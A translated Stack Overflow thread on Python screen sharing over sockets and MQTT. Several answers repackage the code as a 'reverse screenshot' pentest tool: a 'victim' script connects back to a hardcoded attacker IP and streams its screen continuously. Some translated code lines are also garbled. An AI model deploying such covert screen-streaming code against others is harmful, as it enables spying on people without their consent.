【问题标题】:Screen sharing in pythonpython中的屏幕共享
【发布时间】:2018-08-03 16:38:34
【问题描述】:

您好,我被卡住了,我在互联网上没有找到任何有用的东西。 我正在尝试在 python 中制作一个屏幕共享程序。 问题是我不能以至少 24 fps 的速度发送屏幕,因为当我使用 PIL (ImageGrab) 截屏时,会出现延迟。 我的客户端将从服务器获取图片(屏幕截图)并将其“blit”到 使用pygame的屏幕。

服务器:

# -*- coding: utf-8 -*-


import socket
import os
import threading
from PIL import ImageGrab
def RetrFile(name, sock):

    while 1:
        img = ImageGrab.grab()
        img.save("PATH_TO_PIC")

        filename = "PATH_TO_PIC"
        sock.send(str(os.path.getsize(filename)))
        with open('PATH_TO_PIC', 'rb') as f:
            bytesToSend = f.read(1024)
            sock.send(bytesToSend)
            while bytesToSend != "":
                bytesToSend = f.read(1024)
                sock.send(bytesToSend)

def Main():
   host = '0.0.0.0'
   port = 5000

   s = socket.socket()
   s.bind((host,port))

   s.listen(5)
   print "Server Started."

   while True:
       c, addr = s.accept()
       print "Client connected ip: <"+ str(addr) + ">"
       t = threading.Thread(target = RetrFile, args = ("retrThread", c))
       t.start()
   s.close()

if __name__ == '__main__':
    Main()

客户:

import socket
import pygame as pg
def Main():
    host = '127.0.0.1'
    port = 5000


    pg.init()
    display_screen = pg.display.set_mode((1900, 1000))



    clock = pg.time.Clock()

    s = socket.socket()
    s.connect((host,port))
    filename =  "PATH_TO_PIC"
    isExit = False
    while not isExit:

        for event in pg.event.get():
            if event.type == pg.QUIT:
                isExit = True
        data = s.recv(1024)
        print data
        filesize = long(data)

        f = open(filename, 'wb')
        data = s.recv(1024)
        totalRecv  =  len(data)
        f.write(data)
        while totalRecv < filesize:
            data = s.recv(1024)
            totalRecv += len(data)
            f.write(data)
        showImg = pg.image.load('PATH_TO_PIC')
        display_screen.blit(showImg, (0,0))
        pg.display.flip()
        clock.tick(60)
    s.close()

if __name__ == '__main__':
    Main()

基本上我的问题是:如何在2台电脑之间共享一个屏幕,我不知道使用PIL发送大量图片的方式是否有效且正确。 有没有更有效的方法?把一号电脑的屏幕投射到二号电脑上?

【问题讨论】:

  • 根据ImageGrab.grab() docs,它返回一个RGBA图像。假设每像素 24 位,以及 1920x1080 显示器,每帧将是大约 8MB 的图像文件。您希望每秒发送 24 个,这意味着您将通过套接字发送大约 200MB/s。将保存添加到磁盘并从磁盘读回,这可能会变得有点“沉重”,所以你的直觉绝对是正确的。您为什么要自己实现此功能,而不是使用市面上众多市售屏幕共享程序之一?
  • 这是一个计算机科学和网络的学校项目。编程太难了?然后我需要更改项目
  • 视频流是它自己的主题——如果你需要一个网络项目,你可能应该从更简单的开始。
  • 我不知道我只是想到了用 python 使用套接字制作一个屏幕共享程序。我的老师接受了这个想法,她说她不会接受艰苦的项目。你真的觉得很难吗?如果你这样做,我会要求我的老师改变项目......
  • @Tom 如果我使用 mss 会怎样?我试着用它截取一张截图,它只需要 73.4 KB

标签: python sockets pygame screenshot screensharing


【解决方案1】:

我刚刚尝试过,它似乎工作得很好(Python 3)。如果您认为这可以接受,请告诉我,我正在使用 MSS 模块来阻止 I/O。

server.py

from socket import socket
from threading import Thread
from zlib import compress

from mss import mss


WIDTH = 1900
HEIGHT = 1000


def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while 'recording':
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)


def main(host='0.0.0.0', port=5000):
    sock = socket()
    sock.connect((host, port))
    try:
        sock.listen(5)
        print('Server started.')

        while 'connected':
            conn, addr = sock.accept()
            print('Client connected IP:', addr)
            thread = Thread(target=retreive_screenshot, args=(conn,))
            thread.start()
    finally:
        sock.close()


if __name__ == '__main__':
    main()

client.py

from socket import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """

    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='127.0.0.1', port=5000):
    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    sock = socket()
    sock.connect((host, port))
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(sock.recv(1), byteorder='big')
            size = int.from_bytes(sock.recv(size_len), byteorder='big')
            pixels = decompress(recvall(sock, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        sock.close()


if __name__ == '__main__':
    main()

您可以通过使用另一种压缩算法(如 LZ4)来改进,该算法具有 Python 实现。你需要尝试一下:)

【讨论】:

  • 我正在使用 python 2.7 我可以使用这个代码吗?或者此代码仅适用于 3+
  • 我针对 Python 2 进行了更新,但在任何情况下您都应该尝试运行代码;)您可以通过减小要捕获的屏幕尺寸来节省带宽。
  • 您可以吗?如果是,请您接受答案吗?
  • 运行此代码时我得到OSError: [WinError 10049] The requested address is not valid in its context,知道为什么吗?
  • 需要将服务器中的connect()改为bind()
【解决方案2】:

我做了一个反向截屏,(一个渗透测试工具), 服务器(受害者)将数据发送到客户端(攻击者)的位置

攻击者

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()  

受害者

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

【讨论】:

    【解决方案3】:

    我对基于 python 的屏幕共享脚本集感兴趣。我不关心编写低级套接字代码。我最近发现了一个有趣的消息代理/服务器,称为 mosquitto (https://mosquitto.org/) 简而言之,您可以连接到服务器并订阅主题。当代理收到有关您订阅的主题的消息时,它将向您发送该消息。

    这是连接到 mosquitto 代理的两个脚本。一个脚本监听屏幕抓取请求。另一个脚本请求屏幕抓取并显示它们。

    这些脚本依赖图像处理模块来完成繁重的工作 过程是

    1. 客户端请求屏幕
    2. 通知服务器有关于屏幕抓取主题​​的消息
    3. 服务器使用 mss 抓取屏幕
    4. 服务器将屏幕转换为 numpy
    5. server base 64 对压缩的 pickle numpy 图像进行编码
    6. 如果可能,服务器会使用最后一张图片进行增量处理
    7. 服务器将 base 64 字符串发布到屏幕抓取主题​​
    8. 通知客户端屏幕抓取主题​​有消息
    9. 客户端逆向处理
    10. 客户端显示屏幕
    11. 客户端返回第 1 步

    使用命令行消息退出服务器 C:\Program Files\mosquitto>mosquitto_pub.exe -h "127.0.0.1" -t "server/quit" -m "0"

    此实现使用增量刷新。它使用 numpy 对当前和 最后一屏。这确实增加了压缩比。它表明,许多可能对某台机器上正在发生的事情的实时流感兴趣的客户可以使用和连接一个异地服务器。这些脚本绝对不是生产质量,只能作为 POC。

    脚本 1 - 服务器

    import paho.mqtt.client as mqtt
    import time
    import uuid
    import cv2
    import mss
    from mss.tools import zlib
    import numpy
    import base64
    import io
    import pickle
    
    monitor = 0 # all monitors
    quit = False
    capture = False
    
    def on_connect(client, userdata, flags, rc):
        print("Connected flags " + str(flags) + " ,result code=" + str(rc))
    
    def on_disconnect(client, userdata, flags, rc):
        print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))
    
    def on_message(client, userdata, message):
        global quit
        global capture
        global last_image
    
        if message.topic == "server/size":
            with mss.mss() as sct:
                sct_img = sct.grab(sct.monitors[monitor])
                size = sct_img.size
                client.publish("client/size", str(size.width) + "|" + str(size.height))
    
        if message.topic == "server/update/first":
            with mss.mss() as sct:
                b64img = BuildPayload(False)
                client.publish("client/update/first", b64img)
    
        if message.topic == "server/update/next":
            with mss.mss() as sct:
                b64img = BuildPayload()
                client.publish("client/update/next", b64img)
    
        if message.topic == "server/quit":
            quit = True
    
    def BuildPayload(NextFrame = True):
        global last_image
        with mss.mss() as sct:
            sct_img = sct.grab(sct.monitors[monitor])
            image = numpy.array(sct_img)
            if NextFrame  == True:
                # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
                xor_image = image ^ last_image
                b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
            else:
                # first image - less compression than delta
                b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
                print("Source Image Size=" + str(len(sct_img.rgb)))
            last_image = image
            print("Compressed Image Size=" + str(len(b64img)) + " bytes")
            return b64img
    
    myid = str(uuid.uuid4()) + str(time.time())
    print("Client Id = " + myid)
    client = mqtt.Client(myid, False)
    client.on_connect = on_connect
    client.on_disconnect = on_disconnect
    client.on_message = on_message
    try:
        client.connect("127.0.0.1")
        client.loop_start()
        client.subscribe("server/size")
        client.subscribe("server/update/first")
        client.subscribe("server/update/next")
        client.subscribe("server/quit")
        while not quit:
            time.sleep(5)
            continue
        client.publish("client/quit")
        time.sleep(5)
        client.loop_stop()
        client.disconnect()
    except:
        print("Could not connect to the Mosquito server")
    
    

    脚本 2 - 客户端

    import paho.mqtt.client as mqtt
    import time
    import uuid
    import cv2
    import mss
    from mss.tools import zlib
    import numpy
    import base64
    import io
    import pickle
    
    quit = False
    size = False
    capture = False
    width = 0
    height = 0
    last_image = None
    first = False
    
    def on_connect(client, userdata, flags, rc):
        print("Connected flags " + str(flags) + " ,result code=" + str(rc))
    
    def on_message(client, userdata, message):
        global quit
        global size
        global capture
        global width
        global height
        global last_image
        global first
    
        if message.topic == "client/size":
            if width == 0 and height == 0:
                strsize = message.payload.decode("utf-8")
                strlist = strsize.split("|")
                width = int(strlist[0])
                height = int(strlist[1])
                size = True
    
        if message.topic == "client/update/first":
            # stay synchronized with other connected clients
            if size == True:
                DecodeAndShowPayload(message, False)
                first = True
    
        if message.topic == "client/update/next":
            # stay synchronized with other connected clients
            if size == True and first == True: 
                DecodeAndShowPayload(message)
    
        if message.topic == "client/quit":
            quit = True
    
    def DecodeAndShowPayload(message, NextFrame = True):
        global last_image
        global capture
        global quit
    
        if NextFrame == True:
            # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
            xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
            image = last_image ^ xor_image
        else:
            # first image - less compression than delta
            image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
        last_image = image
        cv2.imshow("Server", image)
        if cv2.waitKeyEx(25) == 113:
            quit = True
        capture = False
    
    myid = str(uuid.uuid4()) + str(time.time())
    print("Client Id = " + myid)
    client = mqtt.Client(myid, False)
    client.on_connect = on_connect
    client.on_message = on_message
    try:
        client.connect("127.0.0.1")
        client.loop_start()
        client.subscribe("client/size")
        client.subscribe("client/update/first")
        client.subscribe("client/update/next")
        client.subscribe("client/quit")
    
        # ask once and retain in case client starts before server
        asksize = False
        while not size:
            if not asksize:
                client.publish("server/size", "1", 0, True)
                asksize = True 
            time.sleep(1)
    
        first_image = True
        while not quit:
            if capture == False:
                capture = True
                if first_image:
                    client.publish("server/update/first")
                    first_image = False
                else:
                    client.publish("server/update/next")
            time.sleep(.1)
    
        cv2.destroyAllWindows()
        client.loop_stop()
        client.disconnect()
    except:
        print("Could not connect to the Mosquito server")
    

    显示压缩的示例输出 例如:源为 18,662,400 字节(3 个屏幕) 压缩图像小至 35,588 字节,即 524 比 1

    【讨论】:

      【解决方案4】:

      对@Tiger-222 的代码进行以下更改

      size_len = int.from_bytes(sock.recv(1), byteorder='big')
      
      size = int.from_bytes(recvall(sock, size_len), byteorder='big')
      

      【讨论】:

      • 不清楚您的答案是什么,请提供有关您建议的代码的更多上下文或信息。如果您需要有关如何格式化答案以提高效率的帮助,也可以阅读How to answer
      • 您好,感谢您的回答,自从我提交项目以来已经 6 个月了,无论如何,谢谢您 :)
      • @Remember1312 - 我有同样的要求 - 你有任何 git repo 或端到端代码的帮助吗?
      • @Laxmikant 嘿,端到端代码的相同要求/ git 是什么意思?自从我把我的项目交给学校已经 2 年了,我想我已经没有它了……我会试着找到它
      • @Remember1312 - 我对学校有要求。让我知道我们是否可以继续前进。通过 post.laxmikant@gmail.com 联系我
      【解决方案5】:

      对于服务器:

      import socket
      from zlib import decompress
      
      import pygame
      
      WIDTH = 1900
      HEIGHT = 1000
      
      
      def recvall(conn, length):
          """ Retreive all pixels. """
          buf = b''
          while len(buf) < length:
              data = conn.recv(length - len(buf))
              if not data:
                  return data
              buf += data
          return buf
      
      
      def main(host='0.0.0.0', port=6969):
          ''' machine lhost'''
          sock = socket.socket()
          sock.bind((host, port))
          print("Listening ....")
          sock.listen(5)
          conn, addr = sock.accept()
          print("Accepted ....", addr)
      
          pygame.init()
          screen = pygame.display.set_mode((WIDTH, HEIGHT))
          clock = pygame.time.Clock()
          watching = True
      
          try:
              while watching:
                  for event in pygame.event.get():
                      if event.type == pygame.QUIT:
                          watching = False
                          break
      
                  # Retreive the size of the pixels length, the pixels length and pixels
                  size_len = int.from_bytes(conn.recv(1), byteorder='big')
                  size = int.from_bytes(conn.recv(size_len), byteorder='big')
                  pixels = decompress(recvall(conn, size))
      
                  # Create the Surface from raw pixels
                  img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
      
                  # Display the picture
                  screen.blit(img, (0, 0))
                  pygame.display.flip()
                  clock.tick(60)
          finally:
              print("PIXELS: ", pixels)
              sock.close()
      
      
      if __name__ == "__main__":
          main()
      

      对于客户: 导入套接字 从线程导入线程 从 zlib 导入压缩

      from mss import mss
      
      
      import pygame
      
      WIDTH = 1900
      HEIGHT = 1000
      
      def retreive_screenshot(conn):
          with mss() as sct:
              # The region to capture
              rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
      
              while True:
                  # Capture the screen
                  img = sct.grab(rect)
                  # Tweak the compression level here (0-9)
                  pixels = compress(img.rgb, 6)
      
                  # Send the size of the pixels length
                  size = len(pixels)
                  size_len = (size.bit_length() + 7) // 8
                  conn.send(bytes([size_len]))
      
                  # Send the actual pixels length
                  size_bytes = size.to_bytes(size_len, 'big')
                  conn.send(size_bytes)
      
                  # Send pixels
                  conn.sendall(pixels)
      x = socket.socket()
      def main(host='Your Server IP', port=6969):
          ''' connect back to attacker on port'''
          sock = socket.socket()
          sock.connect((host, port))
          try:
              while True:
                  thread = Thread(target=retreive_screenshot, args=(sock,))
                  thread.start()
                  thread.join()
          except Exception as e:
              print("ERR: ", e)
              sock.close()
      x.close()
      if __name__ == '__main__':
          main()
      

      【讨论】:

        【解决方案6】:

        我使用了反向连接的概念,就像(reverse shells),我无耻地复制了上面的答案(答案1),并进行了转换。

        攻击者

        import socket
        from zlib import decompress
        import pygame
        
        WIDTH = 1900
        HEIGHT = 1000
        
        
        def recvall(conn, length):
            """ Retreive all pixels. """
            buf = b''
            while len(buf) < length:
                data = conn.recv(length - len(buf))
                if not data:
                    return data
                buf += data
            return buf
        
        def main(host='192.168.1.208', port=6969):
            ''' machine lhost'''
            sock = socket.socket()
            sock.bind((host, port))
            print("Listening ....")
            sock.listen(5)
            conn, addr = sock.accept()
            print("Accepted ....", addr)
        
            pygame.init()
            screen = pygame.display.set_mode((WIDTH, HEIGHT))
            clock = pygame.time.Clock()
            watching = True
            
            try:
                while watching:
                    for event in pygame.event.get():
                        if event.type == pygame.QUIT:
                            watching = False
                            break
        
                    # Retreive the size of the pixels length, the pixels length and pixels
                    size_len = int.from_bytes(conn.recv(1), byteorder='big')
                    size = int.from_bytes(conn.recv(size_len), byteorder='big')
                    pixels = decompress(recvall(conn, size))
        
                    # Create the Surface from raw pixels
                    img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
        
                    # Display the picture
                    screen.blit(img, (0, 0))
                    pygame.display.flip()
                    clock.tick(60)
            finally:
                print("PIXELS: ", pixels)
                sock.close()
        
        if __name__ == "__main__":
            main()
        

        客户端代码

        import socket
        from threading import Thread
        from zlib import compress
        
        from mss import mss
        
        
        import pygame
        
        WIDTH = 1900
        HEIGHT = 1000
        
        def retreive_screenshot(conn):
            with mss() as sct:
                # The region to capture
                rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}
        
                while True:
                    # Capture the screen
                    img = sct.grab(rect)
                    # Tweak the compression level here (0-9)
                    pixels = compress(img.rgb, 6)
        
                    # Send the size of the pixels length
                    size = len(pixels)
                    size_len = (size.bit_length() + 7) // 8
                    conn.send(bytes([size_len]))
        
                    # Send the actual pixels length
                    size_bytes = size.to_bytes(size_len, 'big')
                    conn.send(size_bytes)
        
                    # Send pixels
                    conn.sendall(pixels)
        
        def main(host='192.168.1.208', port=6969):
            ''' connect back to attacker on port'''
            sock = socket.socket()
            sock.connect((host, port))
            try:
                thread = Thread(target=retreive_screenshot, args=(sock,))
                thread.start()
                thread.join()
            except Exception as e:
                print("ERR: ", e)
                sock.close()
        
        if __name__ == '__main__':
            main()
        

        当然这不是优化的,使用一些好的压缩技术使其高效和快速。

        【讨论】:

          猜你喜欢
          • 1970-01-01
          • 1970-01-01
          • 2016-05-03
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          • 1970-01-01
          相关资源
          最近更新 更多